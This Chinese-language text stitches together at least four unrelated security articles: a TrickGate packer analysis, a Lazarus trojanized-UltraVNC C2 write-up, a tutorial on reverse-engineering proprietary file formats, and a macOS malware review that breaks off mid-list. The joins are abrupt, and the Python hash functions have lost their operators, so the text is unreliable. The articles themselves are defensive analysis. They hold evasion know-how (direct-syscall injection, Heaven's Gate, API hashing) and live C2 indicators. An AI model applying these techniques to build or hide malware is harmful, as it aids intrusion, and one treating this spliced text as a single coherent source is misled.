外殼代碼加載器外殼代碼加載器通常含有一個函數,負責解密外殼代碼並將其加載到內存中。以下是基本步驟:

1. 讀取經過加密的外殼代碼。經過加密的外殼代碼可以存儲在光盤上的文件中、“.rdata”部分或存儲成資源。

2. 為外殼代碼分配內存,常通過調用VirtualAlloc來分配。

3. 解密外殼代碼。

4. 觸發外殼代碼。正如我們在下面解釋的那樣,這可以通過使用直接調用或回調函數來完成。

8.png

圖8. 外殼代碼加載器——去混淆處理的AutoIT版本

9.png

圖9. 外殼代碼加載器C版本

在較新版本的TrickGate中,外殼代碼加載器濫用“回調函數”機制。加載器利用許多原生API調用,這些調用將內存地址作為回調函數的參數。加載器傳遞的不是回調函數,而是新分配的內存(內有外殼代碼)的地址。當Windows到達註冊事件點時,DriverCallback 執行外殼代碼。這種技術通過讓Windows操作系統在未知時間運行外殼代碼來中斷我們所監測的行為流。在上面的外殼代碼加載器中,您可以在上面底部一行標有“EnumTimeFormatsA”和“EnumSystemCodePagesW”的配圖中看到這兩個示例。

外殼代碼相似性和TrickGate暫停當我們發現不相關的惡意軟件家族在代碼上存在相似性時,威脅分子通常更有可能從共享資源複製或共享某些片段的代碼。我們在很長一段時間內註意到一種獨特的注入技術,它結合使用直接內核系統調用的方法,但我們沒有意識到其重要性,以為它可能是共享代碼的片段。 我們在攻擊活動中看到了偶爾的“暫停”,這使我們懷疑這種獨特的注入技術可能完全由一個威脅團伙控制,畢竟幾個不同的團伙同時偃旗息鼓的可能性很小。最近一次暫停長達3個多月(從2022年6月13日到2022年9月26日),這讓我們有機會證實自己的猜疑,並深入研究外殼代碼。

10.png

圖10. 過去兩年的TrickGate

為了驗證猜疑,我們開始分析不同時間段的樣本。

我們通過將新樣本與舊樣本進行比較來開始分析。針對這一測試,我們使用2022-12_Remcos:a1f73365b88872de170e69ed2150c6df7adcdc9c與2017-10_CoinMiner:1a455baf4ce680d74af964ea6f5253bbeeacb3de作了比較。

我們分析行為後知道了外殼代碼存在相似性,於是運行樣本,直到外殼代碼在內存中被解密,然後我們將外殼代碼轉儲到磁盤上。接下來,我們使用歸谷歌所有的Zynamics BinDiff工具,以檢查兩個外殼代碼的相似性。結果顯示,測試的外殼代碼存在50%的相似性。沒料到在很長一段時間內(超過五年)對於相當大的外殼代碼(~5kb)而言存在50%的相似性。這自然讓人懷疑這可能是由人維護的外殼代碼,但我們需要進一步的證據表明在較短的時間內存在相似性,看看它是否逐漸變化。

11.png

圖11. 從2022-12_Remcos:a1f73365b88872de170e69ed2150c6df7adcdc9c和2017-10_CoinMiner:1a455baf4ce680d74af964ea6f5253bbeeacb3de提取的外殼代碼的BinDiff結果比較

為了進一步分析,我們抽取了過去六年的隨機樣本。針對每個樣本,我們轉儲了外殼代碼,並檢查一段時間內結果的相似性。正如你在下圖中所看到,結果表明逐漸出現的變化很小。在左側,我們看到從2016年到2020年的樣本顯示存在大約90%的相似性。在右側,我們看到分叉版本本身存在很高的相似性,但左側原始版本的相似性較低。

12.png

圖12. 提取的外殼代碼的Bindiff結果

然後我們深入研究外殼代碼之間的差異,看看以下方面帶來的影響:

不同的編譯器

混淆

規避模塊

持久性模塊(在下次登錄時運行載荷)

函數順序

局部變量和結構

我們隨後得到了打包器的核心功能。編寫者不斷維護外殼代碼,但使用下一節中描述的“構建模塊”。

13.png

圖13. 控制流程圖—關於主注入函數。比較2016-07_ Cerber:24aa45280c7821e0c9e404f6ce846f1ce00b9823與2022-12_Remcos:a1f73365b88872de170e69ed2150c6df7adcdc9c的差異

14.png

圖14.比較NtWriteVirtualMemory 2022-12_Remcos: a1f73365b88872de170e69ed2150c6df7adcdc9c與2016-07_Cerber: 24aa45280c7821e0c9e404f6ce846f1ce00b9823的NtWriteVirtualMemory內核直接調用差異

TrickGate外殼代碼的構建模塊如上所述,外殼代碼一直在不斷更新,但自2016年以來主要功能出現在了所有樣本上。外殼代碼的構建模塊概述如下:

API哈希解析。

加載到內存中,並解密攻擊載荷。

使用內核直接調用進行注入。

手動映射ntdll 的新副本。

動態檢索內核系統調用編號。

調用所需的系統調用。

注入並運行攻擊載荷。

API哈希解析我們分析TrickGate代碼時,並沒有發現常量字符串。很多時候,TrickGate有意添加干淨的代碼和調試字符串以規避任何分析。為了隱藏所需的字符串及其意圖,TrickGate使用了一種名為API哈希的常用技術,即所有需要的Windows API都使用哈希數來隱藏。在2021年1月之前,TrickGate一直使用CRC32對外殼代碼字符串進行哈希處理。在新版本中,TrickGate開始使用自定義哈希函數。

過去兩年使用的等效Python哈希函數:

defhash_str_ror1(str):h=8998forcinstr:h+=ord(c)+(((h1)0xffffffff)|((h7)0xffffffff))returnh0xffffffffdefhash_str21(str):h=8998forcinstr:h=ord(c)+(0x21*h)returnh0xffffffff

以下Kernel32 API名稱已在TrickGate樣本中進行了哈希處理:

15.png

圖15. API哈希

加載到內存,並解密攻擊載荷。

TrickGate總是改變解密攻擊載荷的方式。大多數樣本使用自定義解密方法,但在較老的樣本中我們也看到了已知的加密器(比如RC4實現)或使用Windows API進行加密。

使用內核直接調用的注入:

在解密攻擊載荷之後,外殼代碼隨後將載荷注入到新創建的進程中。在使用create_suspended標誌創建進程之後,通過對內核的一系列直接調用來完成注入。針對這每一個ntdll API調用:

NtCreateSection

NtMapViewOfSection

NtUnmapViewOfSection

NtWriteVirtualMemory

NtResumeThread

執行如下操作:

從磁盤手動映射ntdll的新副本。

解析新映射的ntdll中某個特定哈希的地址。

動態提取所請求的系統服務號(SSN)。

使用SSN直接調用內核。

Windows 64位:使用Heaven’s Gate技術和SYSCALL SSN切換到64位模式

Windows 32位:調用SYSENTER SSN

16.png

圖16. 函數調用圖:來自手動映射的DLL的SYSCALL ID

TrickGate調用直接系統調用的方式很有意思,因為它使用了類似Hell’s Gate的技術。 Hell’s Gate是2020年公開提出的一種技術,這種方法動態檢索和執行直接系統調用號。在這裡,你可以找到可追溯到2016年的樣本,它們設法完成了檢索和執行直接系統調用的等效操作,不需要維護系統服務描述符表(SSDT)。

17.png

圖17. SSN動態提取2016-07_Cerber: 24aa45280c7821e0c9e404f6ce846f1ce00b9823

注入模塊是多年來最穩定不變的部分,自2016年以來一直出現在所有的TrickGate外殼代碼中。

結語我們創建了將過去六年裡最臭名昭著的惡意軟件與一個名為TrickGate的打包器即服務相關的字符串,TrickGate能夠改頭換面,因而難以識別和追踪它。了解該打包器的構建模塊對於檢測這種威脅至關重要,因為阻止打包器就可以在早期階段趁攻擊載荷還沒開始運行及時防范威脅。

由於研究人員往往將注意力集中在實際的惡意軟件上,打包器通常不太受關注。然而,現在可以將已識別身份的打包器用來檢測新的或未知惡意軟件。

1、概述Lazarus組織近期利用社交平台實施新型釣魚攻擊,通過社交平台誘導受害者使用被改造成木馬的開源軟件,從而獲取到受害主機的控制權限。觀成科技安全研究團隊發現該組織在某次攻擊活動中使用了被改造成木馬的開源軟件UltraVNC。 UltraVNC是一款開源的遠程管理工具,Lazarus組織在該工具中嵌入了惡意下載器。下載器會從CC服務器(互聯網失陷主機)獲取惡意DLL並在內存中加載,與服務器的CC通信全程使用HTTPS加密協議,加密載荷裡的通信交互數據本身又使用了自定義的加密方式進行二次加密。

2、通信過程表2-1 樣本信息表

image.png

該樣本類型為ISO,其中包含兩個文件:Amazon_Assessment.exe、ReadMe.txt。木馬化UltraVNC執行後,通過HTTPS加密協議上傳系統信息,從CC服務器下載並執行擴展DLL文件。

1.png

圖2-1 木馬化UltraVNC通信過程圖

2.1上線木馬化的UltraVNC獲取註冊表鍵值”\HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer”,即受害主機的生產廠商信息和工作組名稱,用“|”符號連接後進行Base64編碼並附加在樣本中硬編碼的URL後面,形如:https://kaonnews.com/wp-admin/network/sitemap.php?2E9AE1F528B27A798D8BE424E4E7A4E6=。然後,URL使用單字節0x89進行異或加密,加密後的信息通過HTTPS加密協議發送給CC服務器。見圖2-1中的①。

2.png

圖2-2 上線包(HTTPS)

3.png

圖2-3 上線包(HTTPS解密後)

2.2解密釋放惡意DLL攻擊者通過社交平台誘導受害者使用木馬化的UltraVNC連接ReadMe.txt中記錄的IP 54.182.16.65後,見圖2-1中的②。 UltraVNC中攻擊者添加的代碼會計算該IP字符串的哈希值,將其作為密鑰,循環異或解密樣本中包含的惡意Dll文件,並在當前進程中加載運行。

2.3上傳系統信息惡意DLL獲取電腦名、系統磁盤信息、用戶名、當前進程ID等信息,生成隨機數作為通信校驗的key(也用於URI生成)。

4.png

圖2-4 DLL中硬編碼的通信URL

5.png

圖2-5 上傳信息數據(加密前)

DLL對數據進行ZIP壓縮+自定義加密+Base64編碼處理後使用HTTPS加密上傳到CC服務器,見圖2-1中的③。

6.png

圖2-6 上傳系統信息(HTTPS)

7.png

圖2-7 POST上傳系統信息(HTTPS解密後)

8.png

圖2-8 自定義加密算法

2.4URI生成DLL除上線包外使用的URI均隨機生成,URI參數數量為1到3個。 DLL首先生成第一個隨機數用來選擇不同的參數,參數列表如下圖所示,再生成第二個隨機數來決定參數的值,參數值可以是隨機字符串,也可以是參數字符串與通信檢驗的Key加法運算後的數據。

9.png

圖2-9 通信隨機選取的部分參數列表圖

2.5下發後續攻擊載荷該DLL在使用POST請求上傳系統信息後,每分鐘向目標URL發送無載荷GET請求,用來獲取下階段攻擊載荷。 CC服務器下發的數據也經過了ZIP壓縮+自定義加密+Base64編碼。該DLL接收到下發的數據後解密,解密後的數據包含URL(用來替換樣本通信的URL)以及擴展DLL文件,樣本會加載運行下載的擴展DLL,作為下階段攻擊載荷,見圖2-1中的④。

10.png

圖2-10 模擬服務器下發後續載荷格式圖

3、總結Lazarus組織在該款木馬化開源工具中硬編碼了多個常見的URL參數字段,發送心跳包時,使用隨機數來選擇參數、生成參數的值,導致了心跳包長度不固定,弱化了加密通信中的數據長度特徵。 Lazarus組織使用的CC服務器為失陷主機,TLS通信證書為失陷主機的正常HTTPS業務證書,從而將攻擊流量隱藏到了大量的正常HTTPS訪問流量之中,阻礙了研究人員對其服務器特徵的收集。但是該款木馬化開源工具訪問失陷主機的TLS客戶端指紋和瀏覽器正常訪問失陷主機的TLS客戶端指紋是有較大差異的。另外該工具在請求後續載荷的時候有每分鐘1次的心跳行為,雖然心跳包長度並不固定,但是長度是在一定範圍內變化的,具有一定流行為特徵。

現代IT 產品通常必須處理各種文件格式。雖然確保與開放文件格式的兼容性很容易,但讓您的軟件處理專有或封閉文件格式卻很棘手。

主要的挑戰是沒有一種通用的解決方案來反轉專有文件格式。在每種情況下,您都必鬚根據手頭的數據採取不同的行動。

在本文中,我們探討了專有文件格式是什麼以及為什麼您可能需要對一種文件格式進行逆向工程。我們還分享了我們處理封閉格式文件的經驗,並展示了一些從中恢復數據的方法。本文對於希望通過支持封閉文件格式來增強產品互操作性的開發領導者很有用。

以專有格式反轉文件的方式和原因文件格式具有用於結構化和存儲數據的特定編碼方案。如果沒有特定的軟件或硬件,專有文件格式通常無法解碼和解釋。數據通常由專有軟件以專有格式讀取和保存。

專有格式通常被設計為保密的,這意味著數據編碼格式的規範不公開發布或僅在保密協議下披露。有時,創建者(個人開發者或組織)會發布編碼詳細信息,但會通過許可證限制格式的使用。因此,專有格式被認為是封閉格式,與公開格式形成對比,開放格式可供所有人免費使用。

封閉文件格式的著名示例是WMA 和CDR。一些流行的文件格式,如XLS 和DOC,過去是封閉的和未記錄的,但現在是開放的。

為什麼需要對專有文件格式進行逆向工程?

軟件開發人員通常需要對專有文件格式進行逆向工程以提高軟件互操作性。

處理封閉文件格式的法律立場因各國與軟件專利相關的法律而異。但是,為提高互操作性而對文件格式進行逆向工程通常是合法的。此外,您可能需要對計算機取證的封閉文件格式進行逆向工程。

沒有通用的方法來對每次都有效的封閉文件格式進行逆向工程。每個案例都是獨立的。在本文中,我們探討了針對不同情況恢復專有文件格式的三個示例:

image.png

確定專有文件格式的3 種方法

讓我們詳細探討每個場景,從我們可以避免逆向工程的場景開始。

如何根據文件簽名確定專有文件格式使用任何文件格式都從發現格式的名稱並找到可以使用它的解析器開始。有時,此過程可能很簡單,您只需在Google 中鍵入file extension parser 即可找到相關的解析器。

但是,文件擴展名有時與文件的實際格式不匹配。例如,計算機遊戲通常將其資源文件擴展名指定為DAT,儘管它們內部可以是ZIP 文件。此外,一些基於Matroska容器的視頻格式使用自定義編解碼器來傳輸視頻,因此它們具有非標准文件擴展名。

要確定文件格式,您可以使用專門的工具,例如:

file(1) — 在Linux 中確定文件類型的工具

Binwalk — 用於分析、逆向工程和提取固件映像的工具

FACT 提取器——提取最常見容器格式的工具

然後,您需要檢查文件是否已存檔和加密。一種方法是使用Hex Workshop 中的Data Visualizer功能。

如果文件可能被歸檔,請嘗試使用7-Zip打開它。令人驚訝的是,這個文件歸檔器可以通過掃描文件的開頭來識別格式。即使文件在ZIP 數據之前有一些自定義標頭,7-Zip 仍然可以識別它。

另一個有用的工具是Offzip,它允許您以二進制代碼搜索zlib 流並將它們提取為文件。

所有這些工具都提供了識別已知文件格式並避免在沒有實際需要的情況下進行逆向工程的機會。但是如果您找不到文件格式,您可以嘗試使用文件的簽名來搜索它。要發現文件的簽名,請在十六進制編輯器中打開文件。

文件簽名,也稱為幻數,是文件開頭的唯一字節序列,用於標識其格式。通常,文件簽名是指文件的前二到八個字節。獲得文件簽名後,在Google 和GitHub 上搜索幻數,使用在網站或代碼中如何描述這些數字的不同變體。

假設您的文件簽名以以下字節開頭:41 50 52 34 65 76 65 72。以下是您應該嘗試的搜索請求的幾個示例:

41 50 52 34 65 76 65 72 簽名

41 50 52 34 65 76 65 72 魔法

41 50 52 34 簽名

41 50 52 34 魔法

41505234(因為簽名也可以是DWORD)

0x410x500x520x340x650x760x650x72 簽名

0x41505234

0x34525041(如果是小端)

您還可以使用美國信息交換標準代碼(ASCII)。在我們的例子中,我們對文件簽名的搜索查詢看起來像“APR4ever”。

這種方法可以幫助您識別這種文件格式類似於什麼,甚至可以找到一個現成的解析器。您還可以找到這種格式的其他文件,並分析它們的創建者和解析方式。

如何使用可執行文件對數據格式進行逆向工程如果您在Google 上徹底搜索文件簽名後仍未找到任何內容,則可能意味著您的文件格式確實很少見。在這種情況下,您可以使用可以解析此特定格式的可執行文件開始對您的專有文件格式進行逆向工程。但是如何找到這個可執行文件呢?

有兩種選擇:方案一:通過目標文件的簽名查找可執行文件。掃描與您計劃進行逆向工程的文件一起使用的整個程序目錄,搜索二進制形式的簽名。按文件內容啟動搜索以查找與目標文件匹配的簽名。查找目標文件以使用專用工具(如Effective File Search或Total Commander for Windows)或命令行工具(如分別在Linux 和macOS 上的grep或Binwalk)開頭的字節。

如果找到匹配的簽名,則將可執行文件加載到交互式反彙編程序(IDA) 中,搜索檢查文件簽名的位置,然後開始逆向執行進一步解析數據的代碼。

如果一個文件沒有簽名或者你在按文件內容搜索時沒有找到任何東西,你可以在運行時分析這個文件。

選項2:在運行時分析目標文件。啟動Process Monitor,為文件操作設置過濾器,並嘗試捕捉專有文件打開的時刻。然後,查看進程監視器中的相關行以查找文件的CreateFile 操作或第一個ReadFile。查看此事件的堆棧,了解哪個可執行文件試圖調用ReadFile(),更重要的是,代碼中的地址是什麼。將您的文件上傳到IDA 並查看解析如何運行,就像簽名搜索一樣。

通常,用於解析的代碼位於靠近閱讀開始的地方。在這種情況下,查看所有ReadFile 操作,查看讀取了多少字節,並查看這些字節在文件中的位置。

但是,有些文件可以用更複雜的方式開發。例如,開發人員可以使用流類甚至自定義類來訪問基於具有虛擬函數和多線程的類層次結構的文件,而不是使用簡單的函數來讀取文件。

在這種情況下,當您找到ReadFile函數時,您將找不到任何接近它的解析代碼。您將看到的只是一個從某個虛函數調用的ReadFile,讀取的數據將存儲在緩衝區中。

在這種情況下,您必須:

恢復閱讀器的類

找到使用讀取器從緩衝區接收數據的類

了解該類如何與讀者同步

只有這樣你才能找到解析文件中數據的類。

但是,有時您可能需要從既沒有簽名也沒有可執行文件的文件中恢復數據。讓我們探討一下在這種情況下可以做什麼。

如何在沒有可執行文件的情況下對數據格式進行逆向工程在我們開始探索如何從沒有可執行文件的專有文件格式恢復數據的示例之前,讓我們簡要概述一下信息如何存儲在文件中的一般邏輯。

了解所有文件都具有結構化數據這一點很重要。沒有人以允許隨機放置對象的方式創建文件格式。

每種文件格式都有一定的邏輯。而這個邏輯通常與文件的用途有關。例如,文件系統映像的文件必須具有特定的結構才能存儲元數據,例如大小、名稱和其他屬性。圖像文件必須能夠存儲有關圖像大小、顏色數量和其他圖像元數據的信息。

開發人員在他們創建的文件中組織信息存儲的選項通常有限。邏輯的選擇通常基於開發人員的知識和經驗。沒有必要使這樣的任務過於復雜並嘗試提出原創想法,尤其是在創建專有文件格式時。

現在讓我們探討如何使用真實示例對專有數據文件格式進行逆向工程。這裡我們有一個封閉格式的隨機固件文件。我們無法根據其簽名在Internet 上找到任何信息,並且它沒有可以幫助我們識別格式的獨特擴展名。

image.png

截圖1. 文件夾中的一個固件文件

顯然數據在最大的文件中:swfl_00005684.bin.001_032_079。但我們也可以看到swfl_00005684.xml.001_032_079 文件,這對於揭示如何從目標文件中解析數據很有用。

第一條規則是不要忽視元數據。

在這種情況下,我們會在要恢復的文件附近看到一個XML 文件。打開swfl_00005684.xml.001_032_079 文件後,我們會發現BIN 文件部分的描述:

image.png

在此示例中,SOURCE-START-ADDRESS指向BIN 文件中偏移的片段的開頭。並且SOURCE-END-ADDRESS是這個片段的結尾。

從swfl_00005684.bin.001_032_079 文件中提取數據片段後,如XML 文件中所述,我們得到三個文件。其中一個是數字簽名,另外兩個是另一種具有HAR#$%@ 簽名的專有格式。

我們發現這兩個文件是存檔。第一條線索是Data Visualizer 向我們展示了這些文件在開頭有一些文本,然後是高熵數據。

image.png

屏幕截圖2. 高熵數據在數據可視化工具中的外觀

第二條線索是這個文件在十六進制編輯器中的樣子:

image.png

屏幕截圖3. HAR 文件的開頭在十六進制編輯器中的樣子

它看起來像一個包含存檔文件名稱的表格。然而,挑戰在於找到一種方法來解析這些數據,以便我們可以將zlib 流與其元數據連接起來。

由於我們知道它是有關存檔文件的信息,因此我們將此數據粘貼到記事本中以查看哪些數據正在更改,哪些沒有。這是我們最終得到的:

image.png

屏幕截圖4. HAR 文件頭中的數據在記事本中的外觀

因此,存檔中保存的文件元數據很可能包含創建/更新日期、屬性以及壓縮和解壓縮文件的大小等信息。

關於存檔中不同文件的創建/更新日期的信息會略有不同,因為文件元數據通常以Unix 時間格式顯示。這就是為什麼我們可以看到這個數據大部分是重複的。

我們可以學習使用此文件的第二條規則是了解常見數據類型在十六進制編輯器中的外觀。對於常見的數據類型,我們指的是Unix Time、Dos Time、Float、Double 等。

很明顯,如果元數據包含目錄描述(而不是文件),則不會提及大小。

在目錄之後,我們有一個條目,如下面的屏幕截圖所示。由於它是一個文件描述符,因此該條目的大小字段中填充了值。

image.png

屏幕截圖5. 我們在目錄後得到的條目

出於好奇,我們使用Offzip 掃描工具來驗證我們的猜測,結果如下:

image.png

截圖6. Offzip 工具掃描HAR 文件後的結果

讓我們看看HAR 文件末尾偏移量0x335 處的數據:

image.png

屏幕截圖7. HAR 文件末尾偏移量0x335 處的數據

它是偏移量為0x335 的zlib 流,長度為0x99 字節。

這些是我們已經在元數據中看到的相同數字。所以我們可以得出結論,這個HAR文件只包含/tmp/manifest/usr/share/swe/00005684/00f15000.manifest文件,其餘都是目錄。

因此,我們僅使用文件本身的數據提取了一個未知格式的文件,因為我們了解我們希望在那裡找到的內容。

結論了解如何對專有文件格式進行逆向工程可以幫助您確保您的軟件適用於各種文件格式。

但逆向工程一個封閉的文件格式是具有挑戰性的。它不僅需要逆向工程方面的專業技能,還需要對許多其他主題的深入了解。例如,必須注意存儲在您需要進行逆向工程的文件附近的其他文件,並了解十六進制編輯器中不同數據類型的外觀。

sentinelone的研究人員對macOS惡意軟件的2022年審查顯示,運行macOS終端的企業和用戶面臨的攻擊包括後門和跨平台攻擊框架的增加。像CrateDepression和PyMafka這樣的攻擊使用對包存儲庫的錯別字攻擊來攻擊用戶,而ChromeLoader和oRAT等其他威脅則利用錯別字作為攻擊載體。

然而,許多其他macOS攻擊所使用的攻擊載體仍然未知,比如SysJoker(新型惡意軟件正對Windows、Linux 和macOS 操作系統構成威脅,可利用跨平台後門來從事間諜活動),OSX.Gimmick,CloudMensis、Alchemist和lazarus的Operation In(ter)ception,研究人員在分析中偶然發現了惡意軟件,或者在VirusTotal等惡意軟件存儲庫中發現了樣本。

1. 免費內容的誘惑有大量的macOS惡意軟件通過免費內容下載網站傳播,如torrent網站、共享軟件網站、破解的應用程序網站或免費的第三方應用程序分發網站。

2.jpg

此torrent文件實用程序下載一個廣告軟件安裝程序

內容誘餌包括:

破解軟件;

體育直播網站;

vpn、“隱私”廣告和地理圍欄規避;

電影、電視、遊戲和音樂下載網站,DRM規避;

色情和性服務網站。

免費內容誘餌主要用於驅動廣告軟件和捆綁包(bundleware)攻擊,但像LoudMiner這樣的挖礦軟件也以這種方式傳播。

最常見的情況是向用戶提供免費或破解版本的應用程序,用戶開始下載一個據稱包含該應用程序的磁盤映像文件,但在安裝時發現它被稱為“Flash Player”、“AdobeFlashPlayer”之類的文件。這些文件通常是無簽名的,用戶會得到關於如何重寫macOS Gatekeeper以啟動它們的說明。

3.jpg

破解版Adobe Photoshop的誘餌會導致用戶安裝惡意程序

如上圖所示,這是Finder中的一個簡單技巧,即使是非管理員用戶也可以使用它來擊敗Mac內置的安全機制。

最近發現一些攻擊者引導終端用戶重寫其中的Gatekeeper,可能是為了解決組織管理員可能通過MDM(移動設備管理)部署的任何附加安全控制。

4.jpg

一些用戶開始尋找合法內容,但卻被廣告和令人難以置信的交易和優惠拉進了惡意網站。不過,Mac用戶普遍認為,瀏覽此類鏈接本身並不危險,因為他們認為Mac是安全的、不會被病毒攻擊。然而,這些網站的性質,以及堅持使用彈出窗口、誤導性圖標和重定向鏈接,會迅速將用戶從安全的搜索誘導至危險的下載。

雖然“Flash Player”誘餌主要用於廣告軟件和捆綁軟件活動。其他大量利用這一載體的活動包括OSX.Shlayer,Pirrit 和Bundlore。安全供應商可以很好地檢測到這些攻擊,但蘋果內置的基於簽名的檢測技術XProtect往往會忽略這些攻擊。

緩解措施包括:

通過MDM/安全產品的應用程序允許/拒絕列表控制與軟件下載/啟動相關的權限;

通過MDM解決方案或安全產品限制對終端的訪問;

限製或阻止使用安全產品執行未簽名代碼;

使用終端保護軟件防止和檢測已知惡意軟件。

2. 向Mac用戶發布惡意廣告惡意網頁廣告可以在用戶的瀏覽器中運行隱藏代碼,將受害者重定向到顯示虛假軟件更新或病毒掃描警告的彈出窗口的網站。在過去的12個月中,已知的針對macOS用戶的惡意廣告活動包括ChromeLoader和oRAT。

ChromeLoader也被稱為Choziosi Loader或ChromeBack,採用惡意Chrome擴展的形式,劫持用戶的搜索引擎查詢,安裝偵聽器攔截傳出的瀏覽器流量,並向受害者提供廣告軟件。

oRAT是一個用Go編寫的後門植入程序,以未簽名的磁盤映像(.dmg)的形式下載到受害者的計算機上,偽裝成Bitget應用程序的集合。磁盤映像包含一個含有名為Bitget Apps.pkg的包以及com.adobe.pkg.Bitget傳播標識符。

6.jpg

加密的數據塊被附加到包含配置數據(如C2 IP地址)的惡意二進製文件中。

7.png

oRAT的加密blob和解密的純文本

緩解措施包括:

使用防火牆控制和web過濾器阻止對已知惡意網站的訪問,在極端敏感的情況下,防火牆只能限制對有限的授權IP的訪問;

使用廣告攔截軟件,廣告攔截程序可以阻止大多數廣告的顯示,但這可能會影響性能和對某些資源的訪問;

部署終端保護軟件以防止和檢測通過惡意廣告傳播的惡意代碼。

3.對開發者的攻擊開發者是大規模攻擊、供應鏈攻擊、間諜活動和政治操縱等攻擊行為的高價值目標。毫無疑問,迄今為止對蘋果開發者最成功的攻擊是XcodeGhost,這是2015年在中國服務器上託管的蘋果Xcode IDE的惡意版本。許多中國開發者選擇下載他們認為是Xcode的本地鏡像,因為從蘋果在美國的服務器下載合法版本非常慢。

XcodeGhost將惡意代碼插入到任何使用它構建的iOS應用程序中,許多受攻擊的應用程序隨後在蘋果應用商店發布。受攻擊的應用程序能夠竊取敏感信息,如設備的唯一標識符和用戶的Apple ID,並在受攻擊的iOS設備上執行任意代碼。

更常見的是,攻擊者試圖通過共享代碼來攻擊開發人員。因為開發人員希望通過借助已有成果來提高工作效率,他們通常會尋找共享代碼,而不是嘗試自己編寫複雜或不熟悉的API調用。

在Github等網站上託管的公共存儲庫中可以找到有用的代碼,但這些代碼也可能帶有惡意軟件或代碼,從而為攻擊者打開攻擊後門。 XCSSET惡意軟件和XcodeSpy都利用共享的Xcode項目危害macOS和iOS軟件的開發人員。

在XCSSET中,項目的.xcodeproj/project.xcworkspace/contents.xcworkspace數據被修改為包含對隱藏在項目xcuserdata文件夾中的惡意文件的文件引用。構建該項目導致惡意軟件被執行,然後在開發人員的設備上進行多階段感染,包括後門。

在XcodeSpy中,攻擊者在GitHub上發布了一個合法開源項目的篡改版本。項目的構建階段包括一個模糊的運行腳本,它將在開發人員的構建目標啟動時執行。

8.jpg

在XcodeSpy示例中發現的模糊腳本

腳本在/private/tmp/.tag目錄下創建了一個隱藏文件,其中包含一個命令:mdbcmd。這反過來又通過反向shell傳輸到攻擊者C2。文件路徑鏈接到VirusTotal上的兩個自定義EggShell後門。

在執行時,自定義的EggShell二進製文件會在~/Library/LaunchAgents/com.apple.usgestatistics.plist或~/Liblery/LaunchAgents.com.appstore.checkupdate.plist處放置LaunchAgent。此plist檢查原始可執行文件是否正在運行;如果沒有,它將從~/Library/Application Support.com/apple.AppStore/.update的‘master’版本創建可執行文件的副本,然後執行它。

9.jpg

鏈接到XcodeSpy的EggShell後門使用的持久性代理

緩解措施包括:

將開發環境與運行環境隔離;

要求所有共享開發人員項目在下載或在公司設備上構建之前都要經過審查和授權;

實施安全開發,如安全編碼指南、代碼審查和代碼加密;

教育開發人員使用外部代碼的危險;

使用終端保護軟件監控可疑和惡意代碼的執行。

4. 開源包存儲庫當攻擊者以開放源代碼包存儲庫為目標時,情況開始變得更加嚴重。通過這些共享的代碼在企業中的許多項目中廣泛使用,安全審查既薄弱又困難。在不同的平台和語言中有許多應用,包括:

PythonPackageIndex(PyPI)Crates.io(Rust)NodePackageManager(NPM)GoModuleIndex(Go)NuGetGallery(.NET)RubyGems(Ruby)Packagist(PHP)Chocolatey(Windows)Scoop(Windows)Homebrew(macOS)CocoaPods(Swift,iOS)Carthage(S wift,macOS)FedoraPackageDatabase(Linux)CentOSPackageRepository(Linux)ArchLinuxUserRepository(Linux)UbuntuPackageRepositories(Linux)AlpinePackageRepository(Linux)MavenCentral(Java)包存儲庫可能容易受到拼寫錯誤攻擊和依賴混淆攻擊。在某些情況下,合法軟件包的所有權被劫持或轉移給開發者。

在2022年5月,一個流行的PyPI包“PyKafka”成為了一個名為“PyMafka”的包的拼寫攻擊的目標。 PyMafka包包含一個Python腳本,用於檢查主機並確定操作系統。

11.jpg

如果設備運行的是macOS,它會連接到C2,下載一個名為“macOS”的Mach-O二進製文件,並將其寫入名為“zad”的/private/var/tmp。二進製文件是upx封裝的,且進行了模糊處理,還釋放了一個Cobalt Strike信標。

就在不久前,Rust儲存庫Crates.io也被攻擊者盯上了,他們用惡意的“rustdecimal”包來拼寫合法的“rust_decimal”包。後者使用GitLab Continuous Integration(CI)管道環境,並釋放了一個Go編寫的macOS編譯的Poseidon負載。

2022年末,一名自稱為“研究員”的攻擊者對PyPI上的PyTorch包進行了依賴混淆攻擊。

依賴混淆攻擊利用了某些包具有託管在私有服務器上的依賴項這一事實。默認情況下,包管理器首先通過搜索公共存儲庫來處理客戶端對依賴項的請求。如果依賴包的名稱在公共回收中不存在,攻擊者可以將自己的惡意包上傳到公共回收中,並攔截來自客戶端的請求。

惡意軟件在攻擊PyTorch時收集並竊取了攻擊設備上的各種敏感數據,以傳輸到遠程URL,包括~/.gitconfig/和~/.ssh/的內容。

PyTorch是一個流行的Python開源機器學習庫,估計已經有大約1.8億次下載。在聖誕節到元旦期間的5天裡,惡意軟件包託管在PyPI上,下載量達到了2300次。

緩解措施包括:

針對通過此載體分發的攻擊的緩解措施包括許多與防範惡意共享開發人員項目相同的建議。此外,安全團隊還可以採納以下建議:

使用私有存儲庫並將包管理器配置為不默認為公共存儲庫;

通過代碼簽名驗證包的真實性;

外部源代碼的定期審計和驗證;

5. 木馬程序對包存儲庫的攻擊可能具有毀滅性和深遠的影響,它們將不可避免地被發現並引起大量關注。相比之下,那些希望更隱蔽地向特定目標發送惡意軟件的攻擊者可能更傾向於對流行應用程序進行木馬攻擊。

2021年,百度搜索引擎中的讚助鏈接被用來通過流行的終端應用程序iTerm2的木馬版傳播惡意軟件。進一步調查OSX.Zuru,該活動還使用了微軟Mac遠程桌面、Navicat和SecureCRT的木馬版本。

這些應用程序在共同設計時使用了不同於合法簽名的開發者簽名,主要是為了確保它們不會被Gatekeeper屏蔽。除了替換原來的代碼簽名外,攻擊者還在.app/Contents/Frameworks/文件夾中使用名為libcrypt .2.dylib的惡意dylib修改了應用程序包。對該文件的分析揭示了監視本地環境、連接到C2服務器和通過後門執行遠程命令的功能。

對木馬應用程序的選擇很有意思,這表明攻擊者針對的是用於遠程連接和業務數據庫管理的工具的後端用戶。

最近,有關的攻擊者被發現傳播木馬化的EAAClient和SecureLink,這些版本提供了一個silver有效載荷。這些木馬在沒有代碼簽名的情況下傳播,攻擊者使用上述技術方法誘導受害者通過終端重置本地安全設置。

12.jpg

研究人員最近還發現了一種惡意版本的開源工具,旨在竊取受害者的密碼和鑰匙鏈,這樣攻擊者就可以完全訪問macOS中所有用戶的密碼。在此示例中,攻擊者使用Resign tool並將其打包到ipa文件中,以便在iOS設備上安裝,這表明攻擊者顯然有意發起攻擊。

緩解措施包括:

